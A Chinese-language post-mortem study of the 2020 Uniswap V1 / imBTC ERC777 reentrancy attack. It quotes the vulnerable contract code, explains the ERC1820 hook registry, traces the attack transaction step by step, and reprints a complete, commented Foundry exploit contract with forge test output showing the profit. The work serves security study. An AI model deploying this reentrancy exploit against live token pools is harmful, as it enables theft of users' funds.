defi 攻击复现 Tokenlon
- 攻击发生的交易、涉及到的合约地址
https://etherscan.io/tx/0x32c83905db61047834f29385ff8ce8cb6f3d24f97e24e6101d8301619efee96e
https://etherscan.io/address/0xffcf45b540e6c9f094ae656d2e34ad11cdfdb187#code
https://etherscan.io/token/0x3212b29e33587a00fb1c83346f5dbfa69a458923#code
- blocksec 可视化
https://app.blocksec.com/explorer/tx/eth/0x32c83905db61047834f29385ff8ce8cb6f3d24f97e24e6101d8301619efee96e
ERC-20: Uniswap V1 (UNI-V1) 地址 0xFFcf45b540e6C9F094Ae656D2e34aD11cdfdb187
使用 vyper 语言编写
Uniswap V1 合约源码
line 99-111
# @dev Pricing function for converting between ETH and Tokens.
# @param input_amount Amount of ETH or Tokens being sold.
# @param input_reserve Amount of ETH or Tokens (input type) in exchange reserves.
# @param output_reserve Amount of ETH or Tokens (output type) in exchange reserves.
# @return Amount of ETH or Tokens bought.
@private
@constant
def getInputPrice(input_amount: uint256, input_reserve: uint256, output_reserve: uint256) -> uint256:
assert input_reserve > 0 and output_reserve > 0
input_amount_with_fee: uint256 = input_amount * 997
numerator: uint256 = input_amount_with_fee * output_reserve
denominator: uint256 = (input_reserve * 1000) + input_amount_with_fee
return numerator / denominator
line 126-152
@private
def ethToTokenInput(eth_sold: uint256(wei), min_tokens: uint256, deadline: timestamp, buyer: address, recipient: address) ->
uint256:
assert deadline >= block.timestamp and (eth_sold > 0 and min_tokens > 0)
token_reserve: uint256 = self.token.balanceOf(self)
tokens_bought: uint256 = self.getInputPrice(as_unitless_number(eth_sold), as_unitless_number(self.balance - eth_sold),
token_reserve)
assert tokens_bought >= min_tokens
assert self.token.transfer(recipient, tokens_bought)
log.TokenPurchase(buyer, eth_sold, tokens_bought)
return tokens_bought
# @notice Convert ETH to Tokens.
# @dev User specifies exact input (msg.value).
# @dev User cannot specify minimum output or deadline.
@public
@payable
def __default__():
self.ethToTokenInput(msg.value, 1, block.timestamp, msg.sender, msg.sender)
# @notice Convert ETH to Tokens.
# @dev User specifies exact input (msg.value) and minimum output.
# @param min_tokens Minimum Tokens bought.
# @param deadline Time after which this transaction can no longer be executed.
# @return Amount of Tokens bought.
@public
@payable
def ethToTokenSwapInput(min_tokens: uint256, deadline: timestamp) -> uint256:
return self.ethToTokenInput(msg.value, min_tokens, deadline, msg.sender, msg.sender)
line 201-222
@private
def tokenToEthInput(tokens_sold: uint256, min_eth: uint256(wei), deadline: timestamp, buyer: address, recipient: address) -> uint256
(wei):
assert deadline >= block.timestamp and (tokens_sold > 0 and min_eth > 0)
token_reserve: uint256 = self.token.balanceOf(self)
eth_bought: uint256 = self.getInputPrice(tokens_sold, token_reserve, as_unitless_number(self.balance))
wei_bought: uint256(wei) = as_wei_value(eth_bought, 'wei')
assert wei_bought >= min_eth
send(recipient, wei_bought)
assert self.token.transferFrom(buyer, self, tokens_sold)
log.EthPurchase(buyer, tokens_sold, wei_bought)
return wei_bought
# @notice Convert Tokens to ETH.
# @dev User specifies exact input and minimum output.
# @param tokens_sold Amount of Tokens sold.
# @param min_eth Minimum ETH purchased.
# @param deadline Time after which this transaction can no longer be executed.
# @return Amount of ETH bought.
@public
def tokenToEthSwapInput(tokens_sold: uint256, min_eth: uint256(wei), deadline: timestamp) -> uint256(wei):
return self.tokenToEthInput(tokens_sold, min_eth, deadline, msg.sender, msg.sender)
- The Tokenized Bitcoin (imBTC) 地址 0x3212b29E33587A00FB1C83346f5dBFA69A458923
imBTC 合约 erc777/IERC777.sol 源码
line 599-658
contract EarnERC777 is IERC777, IERC20 {
...
IERC1820Registry internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
// keccak256("ERC777TokensSender")
bytes32 constant internal TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant internal TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
...
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
line 847-875
contract EarnERC777 is IERC777, IERC20 {
...
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
return _transferFrom(holder, recipient, amount);
}
function _transferFrom(address holder, address recipient, uint256 amount) internal returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = msg.sender;
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
line 1044-1058
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
- 注册表和实现者
所有 ERC777 代币都与注册表(Registry)的合约有关。 这个地址被 ERC777 代币用来存储设定的 Hook 接收者。这些 Hook 接收者被称为 "接口实现者"。 这意味着 Alice 可以选择 Bob 作为她的接口实现者。如果 Alice 接收或发送 ERC777 代币,Bob 将收到 Hook。Alice 可以管理不同的 Hook 类型。因此,当 Alice 发送代币时,她可以选择 Bob 作为接口实现者,而只有当 Alice 收到代币时,她选择Tom 作为实现者。 在大多数情况下,她也可以为不同的代币选择不同的接口实现者。 这些偏好设置被存储在这个映射的注册表中
- 攻击方法
1.攻击者找到一个允许任意调用的函数的目标合约(Target)
2.攻击者在目标(Target)上调用:
3.registy1820.setInterfaceImplementer(Target, hookHash, Attacker)
4.现在,我们的 Attacker 是 Target 的实现者
5.Attacker 会随着 ERC777 代币中使用的 hookHash 而被调用。
6.每当目标合约(Target)收到 ERC777 代币时,Attacker 就会收到一个 Hook 调用。
7.下面的攻击,取决于 Target 代码 而不同:
8.Attacker 可以在一些用户执行目标合约中的函数时进行重入
9.Attacker 可以直接回退,这样用户的交易就直接被还原了
- 攻击发生的交易
Transaction Hash:0x32c83905db61047834f29385ff8ce8cb6f3d24f97e24e6101d8301619efee96e
Status:Success
Block:9894154
Timestamp:1960 days ago (Apr-18-2020 03:59:24 AM UTC)
From:0x60f3FdB85B2F7faaa888CA7AfC382c57F6415A81
Interacted With (To):0xBD2250D713bf98b7E00c26E2907370aD30f0891a
Internal Transactions:
Transfer500.269322202031652489 ETH $2,172,282.74 From 0xE7BB30cb...54Db84243 To 0xBD2250D7...D30f0891a
Transfer1 ETH $4,342.23 From 0xBD2250D7...D30f0891a To Uniswap: imBTC
Transfer0.611341052127704463 ETH $2,654.58 From Uniswap: imBTC To 0xBD2250D7...D30f0891a
Transfer0.472375805535296596 ETH $2,051.16 From Uniswap: imBTC To 0xBD2250D7...D30f0891a
Transfer500.269322202031652489 ETH $2,172,282.74 From 0xBD2250D7...D30f0891a To 0xE7BB30cb...54Db84243
Transfer0.083716857663001059 ETH $363.52 From 0xBD2250D7...D30f0891a To 0x60f3FdB8...7F6415A81
ERC-20 Tokens Transferred: 3
From Uniswap: imBTC To 0xBD2250D7...D30f0891a For0.01646169 $1,625.25 The Tokenize... (imBTC)
From 0xBD2250D7...D30f0891a To Uniswap: imBTC For0.00823084 $812.62 The Tokenize... (imBTC)
From 0xBD2250D7...D30f0891a To Uniswap: imBTC For0.00823084 $812.62 The Tokenize... (imBTC)
攻击者 attacker 地址 0x60f3FdB85B2F7faaa888CA7AfC382c57F6415A81
攻击合约地址 0xBD2250D713bf98b7E00c26E2907370aD30f0891a 由攻击者部署
- 按照 blocksec 图示和 交易详情,攻击流程
step1
从 0xE7BB30cb...54Db84243 向攻击合约 0xBD2250D7...D30f0891a 转移 500.269322202031652489 ETH
step2
攻击合约 0xBD2250D7...D30f0891a 向 Uniswap 转移 1ETH 目的兑换 imBTC
step3
Uniswap 向 攻击合约 0xBD2250D7...D30f0891a 转移 0.01646169 imBTC
step4
攻击合约 0xBD2250D7...D30f0891a 将上步取得的 0.01646169 imBTC 平均分成两部分向 Uniswap 转移 。0.00823084 imBTC 兑换为
0.611341052127704463 ETH,0.00823084 imBTC 兑换为 0.472375805535296596 ETH
step5
Uniswap 向 攻击合约 0xBD2250D7...D30f0891a 转移 0.611341052127704463 ETH 和 0.472375805535296596 ETH
step6
攻击合约 0xBD2250D7...D30f0891a 向 0xE7BB30cb...54Db84243 转移 500.269322202031652489 ETH
step7
攻击合约 0xBD2250D7...D30f0891a 向攻击者 attacker 地址转移 0.083716857663001059 ETH
按照 blocksec 展示的交易细节,重点在于[攻击合约 0xBD2250D7...D30f0891a 将上步取得的 0.01646169 imBTC 平均分成两部分向Uniswap 转移]
兑换前一半 0.00823084 imBTC 时,调用 Uniswap 的 tokenToEthSwapInput 函数,传入3个参数:卖出 imBTC 的数量 0.00823084 ;最低的 ETH 购买量 1 ;交易截止时间。 取得兑换的 0.611341052127704463 ETH。 tokenToEthSwapInput 函数调用 tokenToEthInput 函数, tokenToEthInput 函数调用 token.transferFrom 函数。因为这里传入的 token 是 imBTC ,而 imBTC 同时继承了 IERC777 和IERC20 两个接口,并通过 erc1820 同时注册了 ERC777Token 和 ERC20Token 接口。在 imBTC 合约的 transferFrom 函数调用 callTokensToSend 函数,callTokensToSend 函数通过 getInterfaceImplementer 函数获得[为攻击合约 0xBD2250D7...D30f0891a 实现 ERC777TokensSender 接口的实现者,也是攻击合约 0xBD2250D7...D30f0891a 自身]。下面进入攻击合约 0xBD2250D7...D30f0891a 的代码。调用 Uniswap 的 tokenToEthSwapInput 函数,传入3个参数与前一半完全相同,把后一半 0.00823084 imBTC 兑换为 0.472375805535296596 ETH
在以太坊网络中,交易类型主要分为三类:transaction(外部交易)、internal transaction(内部交易)和 ERC20 代币交易。每种类型的交易在执行方式和用途上有所不同,以下是对这三种交易类型的简要解释:
1. **Transaction(外部交易)**:
- 这是最常见的交易类型,通常由用户通过其外部账户发起。
- 外部交易可以用于转移以太币(ETH)或者调用智能合约函数。
- 这种交易需要支付以太币作为 gas 费用来执行交易。
2. **Internal Transaction(内部交易)**:
- 内部交易不是由用户直接发起的,而是由智能合约在执行过程中产生的。
- 例如,一个智能合约调用另一个合约的函数时产生的交易即为内部交易。
- 内部交易不会直接出现在区块链上,而是通过智能合约的执行结果间接反映出来。
3. **ERC20 代币交易**:
- ERC20 是一种标准化的代币协议,允许在以太坊网络上创建可互换的代币。
- ERC20 代币交易涉及代币的转移,而不是直接的以太币转移。
- 这种交易通常需要调用智能合约的 `transfer` 等函数来完成代币的转移。
总结来说,外部交易是用户直接发起的交易,用于转移以太币或调用合约;内部交易是合约间的调用产生的交易;而 ERC20 代币交易
则是涉及代币转移的交易。理解这些交易类型有助于更好地分析和跟踪以太坊上的交易活动。
- 函数调用过程:
Uniswap 的 tokenToEthSwapInput 函数---> tokenToEthInput 函数---> token.transferFrom 函数---> [token=imBTC]imBTC 的 transferFrom 函数---> _callTokensToSend 函数---> getInterfaceImplementer 函数[获得ERC777TokensSender 接口的实现者]--->[攻击合约 0xBD2250D7...D30f0891a] tokensToSend 函数--->Uniswap 的 tokenToEthSwapInput 函数
- 收入支出情况:
拿出 1 ETH 兑换 0.01646169 imBTC---> 分成两部分兑换,分别取得 0.611341052127704463 ETH 和 0.472375805535296596 ETH--->余额 0.083716857663001059 ETH---> 转移给攻击者 attacker 地址
按照慢雾的介绍:兑换前一半 0.00823084 imBTC 时,攻击合约 0xBD2250D7...D30f0891a 取得兑换的 0.611341052127704463 ETH;有回退函数 value:0.611341052127704463 Ether [Receiver] 0xBD2250D713bf98b7E00c26E2907370aD30f0891a.fallback(),msg.sender 是 Uniswap。而此时 Uniswap 还未将攻击者的 imBTC 扣除,紧接着在 transferFrom 函数中攻击者调用的第二次的ethToTokenSwapInput 时,通过 getInputPrice 获取兑换的 ETH 数量的公式[分子发生了变化,而公式的分母不会发生变化]。攻击者通过重入方式进行的第二次兑换获得 0.472375805535296596 ETH
- EXP
https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-04/uniswap-erc777.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import "forge-std/Test.sol";
//import "./../interface.sol";
// Analysis
// https://blog.blockmagnates.com/detailed-explanation-of-uniswaps-erc777-re-entry-risk-8fa5b3738e08
// TX
// https://explorer.phalcon.xyz/tx/eth/0x32c83905db61047834f29385ff8ce8cb6f3d24f97e24e6101d8301619efee96e?line=37
// https://etherscan.io/tx/0x32c83905db61047834f29385ff8ce8cb6f3d24f97e24e6101d8301619efee96e
interface UniswapV1 {
function ethToTokenSwapInput(uint256 min_token, uint256 deadline) external payable returns (uint256);
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256);
}// 定义 UniswapV1 接口。因为只用到两个函数,所以定义 ethToTokenSwapInput 和 tokenToEthSwapInput
interface IERC1820Registry {
function setInterfaceImplementer(address _addr, bytes32 _interfaceHash, address _implementer) external;
}// 定义 IERC1820Registry 注册表接口
interface IERC777 {
function approve(address spender, uint256 value) external returns (bool);
}// 定义 IERC777 接口
//攻击合约
contract ContractTest is Test {
UniswapV1 uniswapv1 = UniswapV1(0xFFcf45b540e6C9F094Ae656D2e34aD11cdfdb187);// UniswapV1 地址传入 UniswapV1 接口
,使得实例 uniswapv1 可以直接调用接口函数
IERC777 imbtc = IERC777(0x3212b29E33587A00FB1C83346f5dBFA69A458923);// imBTC 地址传入 IERC777 接口,使得实例
imbtc 可以直接调用接口函数
uint256 i = 0;//重入循环变量
function setUp() public {
vm.createSelectFork("mainnet", 9_894_153);// 分叉攻击发生的前一个区块,因为攻击发生在 9894154
}// 初始化
// 攻击函数
function testExploit() public {
IERC1820Registry _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);// _erc1820 实例
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensSender"), address(this));// 将当前合约设置为其自身
的 ERC777TokensSender 接口实现者
uniswapv1.ethToTokenSwapInput{value: 1 ether}(
1, 115_792_089_237_316_195_423_570_985_008_687_907_853_269_984_665_640_564_039_457_584_007_913_129_639_935
);// 按照 ethToTokenSwapInput 函数格式,传入参数 1ETH ,和截止时间
uint256 beforeBalance = address(this).balance;// 获得当前合约余额
imbtc.approve(address(uniswapv1), 10_000_000);// imbtc 向 uniswapv1 实例授权 10000000 个代币
uniswapv1.tokenToEthSwapInput(
823_084,
1,
115_792_089_237_316_195_423_570_985_008_687_907_853_269_984_665_640_564_039_457_584_007_913_129_639_935
);// 按照 tokenToEthSwapInput 函数格式,传入参数,前一半 0.00823084 imBTC;最低的 ETH 购买量 1 ;交易截止时间
uint256 afterBalance = address(this).balance;// 获得当前合约余额
emit log_named_decimal_uint("My ETH Profit", afterBalance - beforeBalance - 1 ether, 18);
}
// ERC777TokensSender 接口函数 tokensToSend 的具体实现
function tokensToSend(address, address, address, uint256, bytes calldata, bytes calldata) external {
if (i < 1) {// 初始化 i=0,小于 1,判断条件为真
i++;// 变量自增变为 1
uniswapv1.tokenToEthSwapInput(
823_084,
1,
115_792_089_237_316_195_423_570_985_008_687_907_853_269_984_665_640_564_039_457_584_007_913_129_639_935
);// 调用 uniswapv1.tokenToEthSwapInput 函数,传入后一半 0.00823084 imBTC;最低的 ETH 购买量 1 ;交易截止时间
}// 该函数结束
}
receive() external payable {}// 回退函数,接收从 Uniswap 兑换回来的 ETH
}
这个作者的 EXP 完全就是按照实际的流程编写
- 使用 forge 命令测试结果
$ forge test uniswap-erc777.t.sol -vvv
[⠊] Compiling...
[⠰] Compiling 20 files with Solc 0.8.10
[⠒] Solc 0.8.10 finished in 4.28s
Compiler run successful!
Ran 1 test for test/uniswap-erc777.t.sol:ContractTest
[PASS] testExploit() (gas: 254764)
Logs:
My ETH Profit: 0.083716857663001059
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 134.50s (118.24s CPU time)
Ran 1 test suite in 134.54s (134.50s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
- 主要参考文章
https://www.jinse.cn/blockchain/635475.html
https://learnblockchain.cn/article/11782
https://cloud.tencent.com/developer/article/1516658?policyId=1004
https://zhuanlan.zhihu.com/p/654064877